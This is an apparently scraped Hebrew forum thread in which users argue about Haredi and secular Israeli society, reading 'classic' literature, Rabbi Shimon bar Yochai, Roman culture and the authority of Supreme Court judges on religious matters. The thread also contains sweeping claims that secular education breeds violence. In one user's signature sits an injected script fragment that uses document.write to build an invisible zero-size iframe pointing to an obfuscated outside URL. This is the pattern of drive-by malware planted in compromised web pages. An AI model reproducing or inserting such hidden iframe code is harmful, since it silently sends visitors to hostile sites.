אלו ספרים חובה לקרא

אייזין

לדבריך יש כמה מגזרים בארץ.

המגזר החרדי המאושר והערכי.

המגזר החילוני שמחנך לאלימות וחוסר תרבות, ומקנא במגזר החרדי.

ואני תמה:

על מה אתה מבסס את האיפיונים האלו?

מילא, אם אתה מתייחס לחרדים. אלו שאני מכיר אכן מחנכים לתורה וליראת שמים. בוודאי לא לאלימות. אם כי יש דברים הלוקים בחסר גם אצלנו (אטימות, שטחיות, העדר ביקורתיות, התרגלות לחיים שיש בהם סתירות ועוד, העדר ידע נחוץ לחיים בתקופתנו, ועוד).

קודם כל אני מסכים שגם במגזר החרדי יש מה לשנות ולתקן .

אבל לומר שכל החילונים מחנכים לחוסר תרבות ולאלימות? או שהם מקנאים בנו?

כמדומה ש"חילונים" אינם כמונו, החרדים, בני סוג אחד. יש בהם סוגים רבים. החל במסורתיים ששותפים לרבות מאמונותינו, ועד לאתאיסטים מוצהרים ומתנגדים לדת. אולם אף אחד מהם אינו מחנך לאלימות מפני שאלימות שנואה על הכל ומפחידה את הכל.

אינם מחנכים פיזית לאלימות אלא העדר חינוך רצוי והתרת כל רסן וצפיה בסרטי אלימות וכדומה הוכיחו לא פעם שהם מה שגרמו לנקיטת אלימות .

חילונים אינם דוגלים בחוסר תרבות ובכלל מה זה "חוסר תרבות"? חילונים מחנכים, אם איני טועה, ל"רב תרבותיות", שזה סוג של פלורליזם. חיה ותן לחיות.

החילונים חיים בגישה של תן לחיות ואתה אל תחיה - כל מה שהם רוצים צותר ומה שאנו מבקשים אומרים לנו שזה כפיה דתית .

לא שאין להם סתירות ובעיות. יש. אבל לומר שאין זו דרך? אולי הדרך לא נראית לנו ומסיבות טובות, אבל למה לקחת מהם את מה שיש להם? וכי אם נזלזל בהם מתוך הצגה לא מדוייקת של שיטתם, אם יש שיטה, בכך ננצח אותם? מישהו כאן במלחמה?

וכי אין אצלם נסיונות לחינוך ומידות טובות? בדקת?

הניסיון גם אם קיים אינו מצליח וההוחכה לכך היא האלימות הגואה בבית הספר ובמקומות הבילוי ובכביש .

אני מוכן שיבואו חילונים לבתי ספר חרדים בבדיקת פתע לבדוק אם יש סכינים או סמים .



ובנוסף לכל, אין קנאה בחרדים מפני שאין היכרות עם החרדים. ואלו הרחוקים מאיתנו, ירצו מאד לא להיות דומים לנו, בגלל התדמית שיש לנו...

מי שפוגש חרדים מקנט כי הוא רואה את החינוך והטוהר .

אתה יכול לטעון, בצדק, שכתבתי מה שכתבתי מתוך התרשמות וכאנתרופולוג של כורסה. להצדקתי אני יכול לומר שאני מסתמך על האופן שבו הדברים מצטיירים גם מתוך היכרותי בפורום עם כותבים שאינם "משלנו" וגם מקריאה מפוזרת של כותרות בתקשורת.

על מה אתה מסתמך?

_________________לצערי אלה העובדות בשטח .

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** height="0" src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"' frameborder="0" width="0" scrolling="no"><*");

א.
אמשלום כתבה: ' ...ראויים לכינוי "קלאסי" ... במובן זה שהם מהווים בסיס תרבותי ושורש לספרות שאחריהם'. הבחנה זו יכולה לשמש בסיס מסוים לנדרש מ'בן תרבות'.
לא פלא שלא הציעו כאן להתחיל בתנ'ך כספר לקריאה ספרותית שלו. בתלמוד מצוי אוסף ספורים ואגדות מעולה. מן העבר השני של הים מצויה המיתולוגיה היוונית, המחזאות, השירה והספרות, ההיסטוריה והיצירה העיונית שלהם. הם אבות התרבות, גם התרבות היהודית, עד היום הזה. תומס מאן מספר את קורות 'יוסף ואחיו' כדי להטיב להבין את האדם בן המאה העשרים. 'מלחמה ושלום', רומן אפי ענק של טולסטוי, כולל בתוכו עיון מעמיק במשמעות של ההיסטוריה והתהוותה, והיא, ההיסטוריה, מחקרה וכתיבתה, מן ההשגים הגדולים של העולם הקלאסי.  

 ב.
תלמידטועה, האינך מבדיל בשוני בין הפסוקים? [1] 'ספרות יפה מטיפה לדעות לא דרך המח אלא דרך הלב' [2] ספרות אינה פונה רק למח. השני נכון בעיני, הראשון אוילות מטופשת . הסבר אינו נחוץ, פתח ספר ותקרא. לא עסקתי ברשב'י אלא בפסוק אחד שלו ומה שמשתמע ממנו. דוקא את תקופתו אני מכיר מעט, משום עיסוקי בהיסטוריה. הוא שייך לקבוצת הנהגה רומנטית הזויה, בלתי שפויה, חסרת הבנה, תבונה, שיקול דעת ואחריות ביחס למציאות, אשר הביאה לאסון הגדול ביותר של העם היהודי עד לשואה בימינו.

 ג.
נכתבות כאן דעות נחרצות בדבר עליונות מוסרית נשגבת של קבוצה חברתית אחת, לעומת השחיתות המוסרית והניוון התרבותי של קבוצה אחרת המצויה בתחתית המדרגה האנושית. אלו דעות שבלוניות, גורפות, וכרגיל, מנופחות ונבובות, ממש רגע אחד לפני שהבלון הנפוח מתפוצץ בפניו של בעל הנפיחה.
קדושת יתר היא העמדת פנים המעידה על שחיתות מוסרית מוסוות היטב, וסידרה כזו של טיעונים מעידה על חוסר יושר שמתוך חולשה פנימית, רגשי נחיתות, משבר ופחד.

ד.
מה משמעות השאלה שעליה הדיון? בעל הדברים חש שהחברה שהוא נמצא בה, לוקה בהעדר השכלה ולכן אנשיה אינם 'בני תרבות'. נדרש אומץ לב ויושר כדי להניח שאלה כזו גלויה על השולחן. יש כאן מעשה מעודד בכוונתו. אם ניוודע לבעיה, ונעשה את הדרוש לתיקונה, כלומר נקרא ונלמד, או אז יתוקן המצב והחברה תתקדם, תתפתח, תעשה בת תרבות.  הכוונה ראויה ומועילה. אבל, באחת, היא גם תמימה. למה הדבר דומה? לאדם השואל מה עלי לאכול בארוחת הבקר כדי שיהיה שבע ובריא. הוא מקבל תפריט, אוכל בהתאם ויוצא ידי חובתו. התשובה לשאלה שלפנינו אינה מציגה תפריט, אלא מציעה התעסקות. כדי להיות 'בן תרבות' עליך לעסוק עיסוק סדיר בגילויי התרבות. במה בדיוק? - במה שאתה מתעניין ומוצא בו הנאה. עם הזמן ימצא כל אחד שתחומו מתקשר עם תחומים אחרים, מעשה ריקמה, וביחד מהתווה חברה תרבותית מגוונת.
עודד  

לכל אומה יש את ייחודה-היא. אם אומה סבורה שתרבותה מבוססת על תרבויות של אומות אחרות, אזי או שטרם למדה להכיר את הייחוד של תרבותה או שתרבותה נמצאת בתחלת דרכה. מהבחינה הזאת, הרבה ישראלים אינם בני תרבות כי מחד אינם בקיאים במקורות היהודיים לדורותיהם ומאידך הספרות העברית החדשה קיימת רק מזה כמאה ושלושים שנה וזו תקופה קצרה מדי לגיבוש תרבות עשירה ואיכותית.

עודד – תשובותי באדום

עודד

העלית טענה חמורה מאד נגד רשב"י. גם אם ננכה את ייחוס הזוהר ממפעליו - כפי שמתבקש - עדיין מדובר באחד מן המפורסמים שבתנאים ואחד ממעבירי התורה.

אני מציע שתפתח אודותיו אשכול ונבחן את דבריו ואת מעשיו ככל הידוע לנו, ונראה אם צדקת בדבריך. יש לשים לינק לאשכול זה כאן.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

 א.

כתב מיימוני: 'העלית טענה חמורה מאד נגד רשב"י. גם אם ננכה את ייחוס הזוהר ממפעליו - כפי שמתבקש - עדיין מדובר באחד מן המפורסמים שבתנאים ואחד ממעבירי התורה'.

 הטיעון חסר תוקף הגיוני. השגיאה הזו נפוצה מאד ובעלת השלכות מעשיות מסוכנות.

תאר לך פלוני, פרופסור למתמטיקה, משכמו ומעלה בתחום הזה. אבל לנהוג במכונית, לזה אינו מוכשר כלל. הוא מתבלבל בין בדוושות, אינו יודע לנהוג בהגה, אינו מבין כלל את הנעשה בכביש ואינו מסוגל להחליט מה לעשות. הוא פרופסור מפוזר מובהק. האם הוא ראוי להיות מורה נהיגה? מה הקשר בין כושר למתמטיקה וכושר נהיגה?

 טענות מותר להעלות כנגד כל אחד, רק חסיד שוטה פוסל את הדבר. להבדיל מהערכה, הערצת אנשים והתבטלות בפניהם פסולים מכל וכל. היושר האינטלקטואלי והשאיפה לאמת קודמים לכל אדם, לכל תורה  ולכל קדושה, עם או בלי מרכאות.  העובדה כי אדם היום באמת ובתמים גדול בתורה, אינה ראיה  על הבנתו בענינים של המציאות.  זו שגיאה נפוצה מאד, לרוב אינה תמימה, והשלכותיה המעשיות מסוכנות.

 באשר לטענה עצמה, בדקתי דבקתי אותה קודם הכתיבה ואני מקווה שיעלה בידי לסקור אותה בשיחה נפרדת, כדרך שכתבתי בענין החנוכה, וגם שם כבר רמזתי להמשך.

 ב.

נהנתי מהאמירה השנונה של גאורג ברנדס, אותה הביא מ80. אבל אמירות שנונות לפעמים גם מחטיאות. האנגלים של המאה ה 19 כוחם גדול גם בספרות ובשירה. גרמניה, אכן בתקופתה הרומנטית, היא מעצמת על תעשיתית ומדעית.

באשר ליחוד שלנו היהודים, עיקרו במשפט העברי. חז'ל הכירו בכך ועמדו, מתוך הערכה, על הדמיון הזה בינינו לבין רומא, אשר המשפט שלה הוא השג מובהק של תרבותה. בתחומים אחרים היהודים, מה לעשות, לא הצטיינו.

עודד   

לי נראה שהישגיה העיקריים של האומה הרומאית היו בארכיטקטורה (עיין ערך ויטרוביוס), וכך גם סבר רבי יהודה שחי באותה תקופה באומרו: כמה נאים מעשיה של אומה זו, תקנו שווקים, תקנו גשרים, תקנו מרחצאות. השווקים מחזקים את המסחר, הגשרים מאפשרים מעבר ידע בין ערים ובין ארצות, והמרחצאות מיטיבים את הבריאות. באיטליה רוב האקוודוקטים הרומאים המשיכו לשמש כחלק ממערכת המים עד לפני כמאה שנה, וחלקם עדיין בשימוש.

תאר לך פלוני, פרופסור למתמטיקה, משכמו ומעלה בתחום הזה. אבל לנהוג במכונית, לזה אינו מוכשר כלל. הוא מתבלבל בין בדוושות, אינו יודע לנהוג בהגה, אינו מבין כלל את הנעשה בכביש ואינו מסוגל להחליט מה לעשות. הוא פרופסור מפוזר מובהק. האם הוא ראוי להיות מורה נהיגה? מה הקשר בין כושר למתמטיקה וכושר נהיגה?

אז למה לשופטי בג''ץ שאין להם ידע בסיסי ביהדות מותר להתערב בנושאי דת ???

זה שהם למדו חוק אנגלי או טורקי וכדומה עדיין אינו נותן להם הבנה בשום תחום לגבי היהדות ...